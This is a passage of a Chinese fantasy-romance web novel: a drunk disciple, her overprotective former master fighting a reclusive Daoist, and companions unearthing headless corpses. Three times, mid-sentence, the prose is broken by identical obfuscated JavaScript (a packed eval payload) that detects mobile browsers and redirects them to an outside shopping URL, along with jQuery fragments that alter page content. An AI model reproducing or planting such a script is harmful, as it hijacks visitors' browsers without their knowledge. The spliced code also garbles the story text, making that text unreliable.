天天心中暗忖,这般已是极限,再饮一壶,她必定昏睡过去,再难问话。 景泽醉意上头,脸颊绯红眼神迷离,撑着桌面站起身,扬手喊道:“再来一壶!小样儿,还想与老娘较量?想当年,老娘在沉渊宫饮酒,何曾遇过对手!” 天天哪敢再让她喝,趁机凑近,拉着她的手柔声诱道:“景泽美眉,我们且不谈饮酒,你且说说,你师尊纥奚时砚,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542876|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今身在何处?” 景泽一屁股坐回椅子上,下巴抵在手臂上,醉眼惺忪,打了个酒嗝,口齿不清地喃喃道:“师尊……师尊他在琉霜水榭……打坐调息……” 天天闻言,心中暗叹,琉霜水榭早已在三年前海底浩劫中毁于一旦,世间再无此地,景泽分明是醉得糊涂了。 他心有不甘,继续循循善诱:“美眉再仔细想想,师尊到底在何处?近日你可曾见过他?你们最后相见,又是在何地?” “师尊……见面……” 景泽醉意昏沉,早已神志不清,分不清眼前之人是谁,竟抬手轻抚天天脸颊,痴痴笑道,“你不就是我师尊么,还想骗我……” 天天见她言语混乱,始终问不出实情,心中焦急万分,拨开她的手,道:“我不是你师尊,你快说说,你师尊到底身在何方?算我求你了。” 景泽眉头微蹙,目光越过天天,朝着他身后一指,笑着说道:“他……他就在你身后……” “胡说,我身后哪来的……” 天天话音未落,陡然察觉一股凌厉无匹的气息,自身后席卷而来。那气息威压之强,令他浑身汗毛倒竖。 他缓缓转过身去,只见一道高大身影立在石门口,男人身着黑袍,身姿挺拔,面容英挺清隽,可眉眼间却透着一股妖异之气,一双阴翳冷眸,死死盯着他,杀意凛然。 这独有的气息,除却纥奚时砚,四海八荒再无第二人! 纥奚时砚不发一言,抬手便是一掌,雄浑掌力直逼天天。 天天根本无力抵挡,被一掌轰飞出去,重重撞在石墙之上,“砰”的一声,石墙轰然砸出一个大洞,尘土纷飞。 “胆子真肥,竟敢动本座之人,简直是找死!” 天天滚落地上,口喷鲜血身受重伤,周身灵光散去,瞬间变回原形,一只毛色鲜亮的灵橘。原来这少年天天,竟是当年广寒宫阙的天师大人。 纥奚时砚见此灵橘,微微一怔,心中暗自诧异,天师大人为何会在此古墓之中?而且还化作了人形? 他正沉吟间,忽闻一声怒喝自前方炸开。 抬眼望去,只见景泽不知何时,已然站在桌上,双手叉腰,杏眼圆睁,指着他厉声大骂: “纥、奚、时、砚!你还有颜面来见老娘!老娘兄长之事,你莫非忘了吗!” 纥奚时砚瞳孔骤然一缩,他明明已易容改貌,景泽如今已是凡躯,怎会认出他?到底是何处露出了破绽? 景泽怒气更盛,瞪着他喝道:“说你几句就受不了了?前几日老娘在广寒宫阙长跪许久,你为何闭门不见!你可知老娘当时有多绝望!老娘好歹也是金枝玉叶,那般屈膝跪地,老娘的颜面何在!” 她口中的前几日,分明是三年前的旧事,再看桌上残酒,又见她脸颊酡红,纥奚时砚顿时明白,她这是又喝醉了。 他曾三令五申,告诫她女子在外,不可随意与人饮酒,可她偏偏不听,若非他一路暗中跟随守护,还不知她要遭遇多少凶险。 纥奚时砚又气又急,强压着心头怒火:“景泽!你先从桌上下来!” 景泽下巴一扬,往后退了两步,一身反骨尽显:“我偏不!有本事,你便来抓我!” 30. 黑山道君 石室幽晦,烛火昏黄如豆。 纥奚时砚立在石室中央,心底翻涌的火气被他强行按捺下去,墨色眼眸沉沉望向立在桌上的景泽。 “景泽!本座再说最后一遍,速速下来!” 景泽站在桌上,双颊染着绯红,眼神迷离飘忽,身形微微摇晃,根本不带怕他的。 她扬着下巴,居高临下地睨着下方的纥奚时砚,大声道:“你凭什么对老娘这般疾言厉色?我偏不下来!老娘凭什么事事都听从你的吩咐?纥奚时砚!你早已不是老娘的师尊,何必还端着昔日的架子自持身份!当年你同老娘之间的旧怨纠葛,老娘还没同你好好清算,你有什么资格管束老娘!” 纥奚时砚瞧着她摇摇欲坠的模样,要是从高处摔落下来,后果不堪设想。 他趁着她说话之际,广袖轻轻一拂,转瞬之间,桌上所有酒壶杯盏尽数被卷走,为她扫清了脚下暗藏的凶险。 待周遭清静下来,纥奚时砚缓缓抬眸。 “时至今日,你心中还在记恨本座吗?” 景泽闻言微微一怔,长长的睫毛轻轻颤动了两下,沉默片刻,简简单单吐出一个字: “恨。” 一字落定,轻飘飘的,却似一块千斤巨石,重重砸在纥奚时砚心口。 石室之中骤然陷入死寂,纥奚时砚眉宇间染上化不开的苦涩。 “若你心中始终难平,要本座如何做,你才肯放下过往,原谅本座?” 景泽想也不想便抬手,指尖遥遥指向他身后那扇厚重的石门。 “你走!离老娘远一些,老娘此生再也不想见到你!” 纥奚时砚的心口像是被一只无形的手狠狠攥紧,酸涩、落寞、愧疚齐齐翻涌而上,缠缠绕绕,闷得他几乎喘不过气。 他静静立在原地,良久,那深邃眼眸里的情绪渐渐归于平静。 “好,本座依你,往后自会离你远些,再不贸然扰你安宁。” 话音落下,纥奚时砚不再多言,转身便朝着石门之外缓步走去。 景泽看到他当真转身离去,心底陡然涌上无尽的慌乱与惶恐,再也顾不得方才放出去的狠话,只想立刻追上去将人拦下,奈何酒意早已浸透四肢百骸,头脑昏沉,身形根本不受自己掌控,脚步虚浮间猛地一脚踩空。 只听“砰”的一声闷响,她整个人重重跌落在石地上。 突兀的声响划破石室的沉寂,纥奚时砚脚步骤然顿住,身形猛地回转,见景泽狼狈摔落在地,心头一紧,快步上前便要将她扶起。 景泽半点也顾不上身上的疼痛,眼里心里只剩下害怕纥奚时砚离去的惶恐,不等他伸手搀扶,便猛地扑上前去,双臂死死抱住他的大腿,指尖用力攥着他的衣袍,当场嚎啕大哭起来。 “师尊……师尊别走……我错了……我不该说那些气话伤人,我求求你,不要走……千万不要丢下我……” 纥奚时砚缓缓蹲下身,用指腹细细拭去她脸颊的泪痕: “你且听好,本座不会弃你而去,你若心底介怀,不愿见本座真身,那本座便扮作旁人来见你……” “当你身陷危难时,本座会化作江湖侠客,暗中出手为你解围;当你心生迷茫,心事郁结无人倾诉时,本座会化作陌上闲人,静静听你吐露心声;当你闹市闲游,孤身独行时,本座会化作市井商贩,陪你闲话人间烟火;当你漂泊四方,孤身无依时,本座会化作随行护卫,默默守在你身侧,护你一路安稳无忧。” “本座会这般一直隐于暗处,默默陪在你左右。你只管大胆往前行路,只要你回头,本座便永远站在你身后。” 可惜景泽醉意深重,头脑昏沉纷乱,根本没将他的话听进去。 她不顾一切扑进纥奚时砚怀中,紧紧抱着他的臂膀,生怕眼前人化作云烟消失不见。 纥奚时砚任由她紧紧依偎着自己,另一只手轻轻抬起,一下下抚过她的后背。 “安心睡吧,莫要再胡思乱想。本座不走,一直都在这里陪着你,绝不会离开。” 安稳的怀抱带着淡淡的松木气息,抚平了景泽心底所有的慌乱与不安。 她依偎着他,不消片刻,便在他怀中沉沉睡去。 纥奚时砚本想就此起身,将她抱起离开这石室,目光随意一瞥,视线骤然落在地面摊开的几张图纸之上,瞳孔微微一缩。 那是几卷春宫秘图,画风露骨,尺度大开,内里描绘的画面更是靡丽炸裂,不堪入目。 不过三年未见,那只灵橘胆子居然变得这般无法无天!纥奚时砚一眨眼,一缕业火凭空燃起,那些靡丽图纸顷刻间便被烈火焚烧殆尽。 墙角一隅,天师大人见自己珍藏多年的心爱秘图化为灰烬,顿时心疼得浑身发颤,忍不住“喵”了一声。 这一声喵,恰好落入了纥奚时砚耳中,狠戾目光骤然转向墙角,直直落在那灵橘之上。 天师大人心头猛地一慌,自知大祸临头,眼见纥奚时砚抬手便要朝自己拍出一掌,哪里还敢多做停留,转身拔腿便往外逃窜。 纥奚时砚绝不肯放过它,掌心灵力骤然迸发,一道凌厉劲风破空而出,擦着天师大人的尾巴呼啸而过,只听轰然一声巨响,坚硬的石壁瞬间被砸出一个幽深大洞,碎石尘土簌簌掉落。 天师大人身形灵巧敏捷,借着地利,一溜烟冲出石门,沿着古墓蜿蜒的石阶飞速向下逃窜。纥奚时砚单手稳稳抱着沉睡的景泽,脚步轻点,身形化作一道虚影,紧追其后。 以纥奚时砚的顶级修为,天师大人根本不是对手,它一路奔逃,自知再跑下去迟早会被追上,慌乱之间,索性调转方向,朝着古墓深处的石门奔去,打算寻师尊求救保命。 谁知它前脚刚奔到石门前,尚未来得及出声呼唤门内之人,纥奚时砚已然紧随而至。 “……!”古墓通道狭窄逼仄,前后无路可逃,天师大人缩在角落,吓得浑身毛发倒竖。 纥奚时砚眼底杀意渐浓,不等它再有半点动作,掌中已然汇聚起浑厚灵力,带着毁天灭地之势,径直朝着它轰击而去。 就在天师大人闭目待死之际,一道洁白拂尘忽然自虚空中凌空飞来,裹挟着浩瀚灵气,迎面挡下了纥奚时砚的凌厉一击。 两股强悍灵气轰然相撞,霎时间气浪翻涌,震得整个古墓都微微震颤,发出一声震耳欲聋的炸响。 “何人竟敢擅闯我地界,当着我的面,伤我门下弟子!” 厚重的石门缓缓向两侧缓缓开启,一道修长挺拔的身影缓步走了出来。 来人身着黑白相间的道袍,身姿挺拔伟岸,身形竟与纥奚时砚不相上下。面容生得极为端正浩然,高鼻深目,轮廓深邃,隐隐带着几分异域风骨,眉心一点朱红灵痣,更添几分出尘道韵。 救兵来得恰到好处,天师大人顿时松了一口大气,身子一纵,如风一般窜到那道袍男子身后,只探出半个脑袋,怯生生地望着前方的纥奚时砚。 当纥奚时砚与那黑袍道君目光交汇的刹那,两人神色皆是微微一滞,眼底情绪瞬间变得微妙复杂起来。 纥奚时砚眸中先是掠过一丝讶异,随即又恢复了方才那凛冽的杀气。 “那孽畜怎会在你这里?” 他口中的“孽畜”,自然便是躲在道袍男子身后的天师大人。 黑山道君望着他冷厉的神色,本欲开口解释一二,可话到嘴边,又尽数咽了回去,此事牵扯颇多,其中缘由盘根错节,一时半刻,很难说得清楚。 见他沉默不语,不肯作答,纥奚时砚耐心渐渐耗尽,嘲讽道:“本座原还以为你心怀远志,没想到这一百年,你竟是躲在这暗无天日的古墓阴沟之中,苟且偷生,虚度岁月。” 黑山道君遭他这般言语嘲讽,却半点也不恼,宽袖轻轻一甩: “百年之前,我便已言明,此生再不插手世间纷争俗事。这般浅显之言,难道堂堂纥奚时砚,竟参悟不透?” “呵。”纥奚时砚冷笑一声,目光愈发锐利,“本座确实参悟不透。你口口声声说不问世事,又为何将本座门下弟子拐至此地,纵容旁人给她灌酒迷情,又以污秽不堪的俗物乱她心神,还私自收留本座驯养的灵宠?黑山道君,此事,你难道不该给本座一个交代?” 黑山道君正要开口辩解,话音尚未出口,纥奚时砚已然失去耐心,掌心向前一推,无数缕璀璨金丝自掌心破空飞出,带着破风之势,径直朝着黑山道君席卷而去。 黑山道君神色一敛,侧身闪避,那些凌厉金丝擦着他的衣袍掠过,重重轰击在身后的石门之上,石门瞬间碎裂崩塌,碎石四溅,烟尘弥漫。 “我行事自有分寸,心中自有道理,何须外人前来肆意质问?” “好一个何须质问!” 纥奚时砚眸中怒火翻涌,掌心灵气不断汇聚翻腾,每一招一式都凌厉霸道,招招直取要害,俨然是动了真格。 “本座原以为你风骨不凡,没想到行事竟这般龌龊,纵容那孽畜,肆意折辱本座徒儿,此事绝不能善罢甘休!” 黑山道君听闻纥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548922|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚时砚所言,心头不由得泛起几分错愕与诧异,微微失神之间,一丝金色灵丝已然破空而至,径直穿透他的护体灵气,划过胸膛。 黑山道君踉跄着后退数步,一手紧紧捂住胸口,喉间一甜,当场喷出一口温热鲜血。 百年未见,纥奚时砚的修为愈发深不可测,性子也比往昔更为偏执疯癫! 黑山道君心头怒意升腾,再不刻意忍让,手中拂尘猛然一挥,裹挟着磅礴灵气,化作一道雄浑劲气,径直朝着纥奚时砚狠狠斩去。 霎时间,古墓之内灵气翻涌激荡,两人身影交错纵横,掌风与拂尘劲气不断相撞,轰鸣声不绝于耳,震得周遭碎石不停滚落。 两人交手激烈,天地灵气被搅得紊乱不堪。天师大人缩在一旁,看得心惊胆战,每每听到轰然巨响,都生怕这古墓经不起二人比拼,当场坍塌倾覆。 交手良久,纥奚时砚眸中戾气暴涨,周身狂风骤起,他单手高高举过头顶,五指骤然收紧虚抓,掌心之间,竟凭空汇聚起一团熊熊燃烧的赤红烈焰! 那烈焰炽热霸道,带着毁灭一切的威压,是世间至凶的地狱业火! 此火一旦燃起,可焚山河,可灭万物,就连施术者自身,也难以将其扑灭。 黑山道君见状,脸色骤然煞白,厉声怒喝:“纥奚时砚!速速住手!你已然失了心智疯魔不成!快停下!你今日若真引燃业火,日后必定追悔莫及!” “后悔?”纥奚时砚满脸冷峭,眼底尽是漠然,“本座行事,向来随心而为,纵横世间百年,从未做过半件令自己后悔之事!” 黑山道君神色急切,连声劝说:“我这些年隐居古墓,闭门不出,你当真以为只是虚度光阴?你心中所谋之事,我亦在暗中为之!其中关键你我心知肚明,难道你当真半点都听不懂?时砚,快快收了业火,莫要铸成大错!” 纥奚时砚望着他急切凝重的神色,心底微微一动,沉吟片刻,终是压下心底翻涌的戾气,缓缓收拢掌心,将那足以焚毁万物的地狱业火压了下去。 狂风渐歇,烟尘缓缓落定,古墓之内终于恢复了几分平静。 纥奚时砚抱着安然沉睡的景泽,目光冷冷扫了一眼气息不稳的黑山道君。 “管好你门下那只孽畜,叫他安分守己,日后再敢痴心妄想打景泽的主意,休怪本座不念旧情。” 话音落罢,他不再多做停留,身形化作一缕黑气,消失了。 天师大人见这场惊天争斗终于落幕,忍不住低低喵呜了一声。 方才那般毁天灭地的气场,早已将它吓得心神俱颤。 黑山道君望着纥奚时砚离去的方向,长长吐出一口浊气。 下一瞬,白光一闪,天师大人褪去猫形,恢复了少年人形,走到黑山道君身前,迟疑道:“师尊……” 黑山道君眸光平静,缓缓开口:“为师知晓你心中疑惑,你定是想问,我们寻觅纥奚时砚多年,如今他自行送上门来,为师为何非但不曾挽留,反倒任由他就此离去?” 天师大人连忙重重点头,满是不解。 黑山道君微微摇了摇头,道:“为师本以为百年过去,他的性子总能收敛几分,沉稳些许。未曾料到,他反倒愈发偏执疯魔,戾气深重。罢了,如今天下虽略有纷乱,却也并无倾覆之危,暂无急需我们出手的时候。何况为师百年前便已立下誓言,此生再不插手世间纷争。今日之事,便暂且搁置,不必再刻意强求了。” · 清风徐徐,草木摇曳。 等景泽悠悠转醒之时,她正躺在一片绵软的青草地里。四周不仅草木葱茏,灵花点缀,还弥漫着一股浓郁诱人的烧烤香气。 糟糕!她的挎包还未曾讨要回来! 景泽猛地撑着身子坐起,下意识低头看去,却见那只熟悉的挎包,正安安稳稳挎在自己身上,完好无损。 “阿泽妹妹,你可算醒过来啦!” 云逍端着一只烤得油光锃亮的山鸡,快步走到她身前,道:“你快尝尝味道如何!这山鸡可是我亲自进山捕捉,亲手拔毛处理,又守在火堆旁慢慢烤制而成,滋味定然绝佳!” 不远处燃着一簇旺盛篝火,江染、蔡乔正坐在火堆旁,抬眼朝她这边看来。 景泽脑中一片混沌,自己不是在古墓么,怎会置身于这野外草地,江染他们怎在这里? 云逍见她怔怔坐着,魂不守舍,将香喷喷的烤山鸡往她唇边递了递,笑着催促:“别只顾着发愣了,快尝尝我的手艺,保管让你回味无穷!” 31. 无头尸 景泽细细询问,方才知晓他们此番寻来,皆是那黑袍公子的吩咐。 景泽撕下一块肥嫩鸡肉,边嚼边问: “那黑袍公子临走之际,可有留下什么交代?” 江染随手折了根枯枝在指尖把玩,语气带着几分不耐:“那人脾性冷僻古怪,跟你那师尊相差无几,我们哪敢多言追问?一得了你的踪迹,便火急火燎寻来,到了此处,却见你睡得昏沉,竟如酣猪一般。” 景泽闻言,当即白了他一眼:“你才酣猪!” 蔡乔俯身往火堆里添了两把干柴,火苗登时窜起数寸,映得众人脸庞通红。 她笑着接话:“我们来时见周遭山鸡成群,本欲唤你同去捕猎,偏生有人拦着,执意要让你多歇片刻。” 说罢,目光悠悠落在云逍身上,意味深长。 云逍耳根微热,摇着手中折扇,眉眼间满是骄矜自得:“区区小事,何须挂齿,你若想开了想要报答我,以身相许也不是不行……对了,方才江染言你有师尊?他是男是女,相貌如何?你们当真是纯纯师徒情谊?” 景泽抬眼,递去一记“你打听这个干什么”的眼神,念及口中鸡肉是人家烤的,不便推脱,只好如实答道: “男子,相貌尚可,纯师徒情谊。” “原来如此。” 听得景泽说她师尊“相貌尚可”,云逍嘴角扬得老高,明明心中暗自得意,却故作矜持,抚着扇柄追问: “那你且细细评说,我与你师尊相较,谁更俊美几分?放眼裂陆六城,能及我云逍这般丰神如玉的,怕是寥寥无几吧。” 江染早年曾见过景泽师尊,此刻听云逍问出这般不自量力的话,心中竟生出几分怜悯。 “云兄,此问大可不必,徒增尴尬。” 云逍眉头微挑,不服气道:“江兄莫非见过她师尊?” 这般一来,他反倒对景泽那素未谋面的师尊,又多了几分好奇。 江染岂止是见过,当年年少轻狂,没少被景泽那位性情古怪的师尊教训,这般狼狈旧事,他自然不愿提及,只淡淡颔首,算是应了。 二人一来一回,早勾起了蔡乔的好奇心,她转头看向江染:“依你之见,云逍与景泽师尊,谁的容貌更胜一筹?” 江染不愿直言伤了云逍颜面,当即把话头抛给景泽:“景泽,你自己说,他二人谁更好看?” 景泽抬头,便见三双眼睛齐刷刷盯着自己,目光灼灼。 她喉间微动,无奈道:“一定要作答么?” 三颗脑袋齐齐点头。 景泽轻叹一声,只得敷衍道:“二人风姿各异,难分高下,没什么可比的。” 云逍却不依不饶,折扇“唰”地一收,拍在掌心,面露傲色:“何谓风姿各异?普天之下,你还能寻到第二个如我云逍这般丰神俊朗、玉树临风之人么!阿泽妹妹,你定是未曾细细分辨,才说出这般话来!” 景泽:“……” 她实在不愿再纠缠这等无聊话题,当即转移心思,自腰间挎包中取出一只木盒,正色道: “诸位可还记得,此前在红市追逐的那面具男子?” 红市一事惊心动魄,众人烙印极深,若非追那面具人,他们也不会被困于笼中。 见众人目光尽数聚来,景泽指着木盒表面纹路,沉声道: “这盒上纹路,与那面具人衣袍之上的纹样分毫不差,你们有谁见过此等纹路?” 本是随口一问,并未指望众人能有线索,哪知云逍双目骤然一亮,折扇轻叩掌心,语气笃定又带着几分显摆: “这纹路我自然见过!放眼江湖,少有我云逍不识的印记!” 景泽微怔,颇感意外。蔡乔蹙眉思索片刻,也点头道:“我似乎也曾见过。” 江染见二人皆有印象,故作委屈调侃:“你二人这般,倒显得我孤陋寡闻了。” 蔡乔不待云逍开口卖弄,语速极快地说:“你可知魔君逸归尘?传闻当年他引动天罚之时,身上所着衣袍,便绣着这般纹路,久而久之,这纹路便成了魔君逸归尘的专属标记。” 景泽心头猛地一沉,兄长之死,果然与这逸归尘脱不了干系! 她强压心中波澜,调匀呼吸,沉声问道:“此话怎讲?” “想那面具男子,定是魔君逸归尘的信徒。” 蔡乔:“只是如今裂陆六城,上至权贵下至百姓,对魔君逸归尘恨之入骨,对其信徒更是欲除之而后快。这般险境之下,那人还敢身着带有此纹的衣袍,在红市肆意走动,胆子实在大得惊人。对了,这木盒你从何处得来?” 提及木盒来历,那又是另一个故事了。景泽将木盒收回包中,对着蔡乔温婉一笑:“此事日后再告诉你,天色已晚,我们先离开这荒林为好。” 话音刚落,云逍忽然面色痛苦,捂着腹部弯下腰,眉头拧成一团: “哎哟,不好,许是这山鸡吃坏了肚子,诸位稍候,我去去便回!” 不等众人应声,他已捂着肚子快步奔远,云逍素来好面子,这般私密之事,自然要寻一处僻静雅致之地,绝不能失了身份。 他在草丛中深一脚浅一脚地疾行,腹痛如绞,直不起腰身,待到彻底远离众人视线,才放下心来,蹲于草丛之中。 山风拂过,携来草木花香,林间鸟鸣清脆,环境清幽雅致,若非时候不对,他真想摇扇吟诗作赋,好好附庸一番风雅。 待到事毕,云逍整理好衣袍,慢条斯理提裤而起,走了一会儿后,脚下忽传来“啪唧”一声软响,触感黏腻怪异。 刹那间,一股寒意从脚底直冲天灵盖,云逍手中折扇都险些落地。 他屏住呼吸,缓缓低头望去,只见泥土之中,赫然露出一只青紫色的人手,指甲缝里塞满泥垢,看着骇人至极。 云逍自幼生长在钟鸣鼎食之家,锦衣玉食,何曾见过这等可怖景象? 当即吓得魂飞魄散,腿脚发软,大声尖叫:“啊啊啊啊来人啊!此处有死人啊啊啊啊啊啊!” 景泽三人听得尖叫,心头一紧,当即循着声音快步赶来。 脚步刚至,一股浓烈的腐臭扑面而来,江染当即捏紧鼻子,满脸嫌弃:“我嘞个去!云兄啊,你如厕之物,怎会臭到这般地步?真是看不出来,你竟还有这等实力,佩服佩服!” 云逍又急又恼,脸都涨红了:“闭嘴!我是在那边百步之外方便,你别想辱我名声!” 景泽蹙眉,“你唤我们过来,到底所为何事?” 云逍心中惧怕万分,却又碍于世家公子的颜面,不肯露怯,强撑着挺直腰板,指尖颤抖着指向脚下:“这、这里有一只人手,埋在土中!” 听得“人手”二字,景泽异常镇定,一把推开挡在身前的云逍,问:“在何处?” “你、你左边三尺……就是那里!” 云逍再也撑不住那副骄矜模样,下意识躲到景泽身后。 景泽缓步上前,蹲下身,不顾云逍震惊的目光,伸手便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551087|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去扒拉泥土,只可惜那手臂埋得极深,一时难以拉动。 “你们谁来搭把手。” 她回头唤道。 “我来!”江染一脸鄙夷地瞥了眼躲在后面的云逍。 “平日里自诩天不怕地不怕,原是个见了死尸就腿软的。” “我也来。” 蔡乔温声应道,对着云逍浅浅一笑。 云逍面上挂不住,臊得满脸通红,却又实在惧怕那腐尸,只得立在原地,规规矩矩看着。 为了找回颜面,他还故作镇定地吟了两句打油诗,实则眼神都不敢往土坑多瞟。 三人合力挖掘,不多时,一具具无头尸身接连被刨出,有的尚且完好,有的已然腐烂,恶臭之气愈发浓烈,三人实在难以忍受,只得停下动作。 江染从土坑中爬起,喘着粗气:“卧槽!究竟是何人如此狠辣,在此处埋了这么多无头尸身!这些人的头颅去了何处!” 景泽忽然想起,此前前往凤灵城的客船上,遭遇的那伙黑衣人,彼时他们杀人,也是尽数斩去头颅,且将头颅带走。 她心中暗道:杀害这些人的凶手,与客船上的黑衣人,莫非是同一伙人? 当下便将客船遇袭之事,一五一十说与众人听。 江染面色凝重:“他们带走头颅干什么?” 景泽摇头,眉头紧锁:“我也不知,但肯定不是什么好事。” 蔡乔想起家中兄嫂惨死之事,脸色愈发阴沉:“你们说,此事会不会同单不群有关?” “……” 云逍长这么大,从未见过如此多的尸身,早已吓得双腿发软,哪里还顾得上公子仪态,忙拽着景泽的衣袖,连声催促: “此等凶案,自有六扇门捕快处置,我等凡夫俗子,掺和这个干什么,还是赶紧走了吧,这里太瘆人了,我是一刻也待不得了!” · 一行人辗转回到清州城,来到济世堂,围坐在四方桌前,默默享用着堂内免费的斋饭。 周遭热闹非凡,市井百姓的闲谈八卦,接连传入耳中,四人不由凝神细听。 “你们可听说了?昨夜城主夫人与城主大吵一架,天不亮便收拾行囊,回了娘家!” “当真?城主与夫人向来恩爱,是城中人人称道的佳话,怎会忽然反目?难怪今日不曾见夫人身影。” “其中缘由我也不知,谁又能窥探城主府内事?只知闹得极凶便是。” 景泽听得饶有兴致,当即拉过邻桌一位大娘,细细打听。 大娘叹了口气,娓娓道来:“这城主与现任夫人,可是咱们清州城的美谈。说起来,现任夫人与去世的前城主夫人,容貌几乎一模一样,唯独现任夫人是个哑巴,身子也素来孱弱。城主深爱前夫人,自她去后,悲痛难抑,好不容易寻到个容貌相仿的女子,自然宠若珍宝,要什么给什么。偏生这夫人性子温婉良善,从不恃宠而骄,半个月前,还暗中劝城主开了这济世堂,给穷苦百姓施舍饭食,百姓们都感念她的恩德,城主也愈发疼爱她。谁能料到,昨夜二人竟会闹翻,夫人还一气之下回了娘家,当真是世事难料啊。” 景泽听罢,暗自摇头,感叹世事无常。 云逍却瞬间来了兴致,掸了掸衣袍,摇着折扇凑上前来,眉眼间满是自得与轻佻:“阿泽妹妹,你瞧瞧,这世间男子多有争执,唯独我云逍与众不同!你若肯嫁我,我此生对你百依百顺,绝不红脸,锦衣玉食任你享用,如何?这般美事,你可愿应下?” 32. 取名 “不应。”景泽低头喝粥,将身旁云逍视作无物,半点不予理会。 江染、蔡乔二人相视一眼,皆朝云逍投去几分同情之色,啧啧啧,当真是好惨一男的。 云逍素来面皮极厚,纵遭冷遇,亦无半分恼意,反倒嬉皮笑脸,探手便去握景泽手腕,软声撒娇: “阿泽妹妹,应我一声便好,仅此一回,好不好嘛?你难道不想跟你未来夫君举案齐眉、琴瑟和鸣、鱼水和谐、子孙满堂么?你仔细看看我,我云逍就是那个不二选择啊!” “云逍!放……放手!” 景泽咬牙道,又羞又急,奋力抽手,怎奈云逍指力紧扣,竟挣脱不得。 二人当众这般拉拉扯扯,引得周遭众人侧目,景泽恼极,便要抬手执筷去打,忽闻破空之声骤起,一股雄浑气流席卷而来,势不可挡。 她眼睫未及眨动,便见云逍身形如断线纸鸢,径直被掀飞出去,轰然一声巨响,重重砸在地上,撞翻一排桌椅,木碎四溅。 堂内众人何曾见过这等阵仗,登时惊呼四起,乱作一团。 “云逍!”景泽、江染、蔡乔三人齐声惊呼,神色大变。 蔡乔又惊又怒,朗声道:“此乃城主所开济世堂,何方狂徒敢在此滋事,莫非不要性命了!” 江染足下一点,快步上前,急声道:“云兄莫慌,江兄来助你!” 景泽更是怒从心头起,当即抄起身旁一条板凳,柳眉倒竖,厉声喝道:“何方宵小,藏头露尾,速速现身!” 三人尚未奔至云逍身侧,便见堂门之处,缓步走来一人。 此人一身黑袍裹身,身形挺拔如山,面容俊美无俦,却又带着几分妖异之气,周身散出的威压如泰山压顶,令人喘不过气,正是那黑袍公子。 四目相对,方才三人满腔气势,瞬间烟消云散,连脖颈都不自觉地矮了半截,哪里还有半分怒意? “……” 蔡乔忙偏过头,目光四处游移,“真是奇怪,方才堂内还人声鼎沸,怎地转瞬便空了?莫不是今日天气不行?” 江染脚步一顿,挠了挠头,一脸茫然:“咦?我适才要做什么来着?竟是半点记不起了?” 又是他!景泽心中一紧,忙将手中板凳藏至身后,敛了怒容,垂手乖乖站定,只抬眼朝黑袍公子眨了眨眼。 黑袍公子眼神冷戾,不看旁人,径直朝瘫在地上的云逍走去。 云逍吓得面无血色,手足并用,拼命往墙角缩去。 “你……你不要过来!我不想死啊!” 黑靴踏地,声声沉闷,如重锤敲在云逍心头。 望着黑袍公子步步逼近,云逍魂飞魄散,失声哭喊: “江兄!阿泽妹妹!蔡乔!你们怎地袖手旁观,快救救我啊!我我我……不想死啊!啊啊啊啊!别过来啊!” 江染眉头紧锁,望着他鬼哭狼嚎之态,神色甚是复杂,节哀顺变道:“云兄,我理解你现在的心情,人生一世,须臾便过,看开些吧……” 蔡乔心有不忍,却也知无力回天,索性转过身去,不忍再看。 景泽立在原地,进退两难,便在此时,黑袍公子俯身,正准备教训云逍,还没来得及出手,云逍已经双眼一翻,身子一软,竟就这么吓得晕死过去了。 众人:“……” 解决完云逍,那黑袍公子脸上的阴翳之色,在转头之际,瞬息散尽。 只见他抬手轻掸衣袍,似是拂去并不存在的尘埃,径直朝景泽走去。 江染见状,心头一紧,瞬间警惕起来。 他要对景泽做什么? 黑袍公子步步走近,景泽下意识便要后退,可转念一想,这济世堂方寸之地,又能退往何处?更何况此人修为之顶尖,自己纵是逃至天涯海角,也逃不过他手掌心。 念及于此,景泽强行按捺心中慌乱,双拳紧握,抬眼瞪向对方,故作凶态,她想,打不过,吓一吓对方也是好的。 可她这般模样,落在黑袍公子眼中,全无半分恐吓之气,反倒惹人怜爱。 黑袍公子瞧着,先是一怔,随即“噗嗤”一声,轻笑出声。 景泽不解,蹙眉问道:“喂!你笑什么?” 黑袍公子摇了摇头,轻声轻叹,语气带着几分玩味:“我从前怎么没发觉,姑娘在撩动我心弦这一事上,竟是如此的天赋异禀,无人能及。” 这话听着颇为亲昵,景泽愣了片刻,登时羞恼交加,脸颊泛起一抹红晕,嗔道:“你……无耻!” 黑袍公子全然不恼,反倒微微颔首,笑意更浓:“不知这‘无耻’二字,姑娘是骂我,还是赞我?如果是赞我,那我欣然接受,甘之如饴。” “你……!” 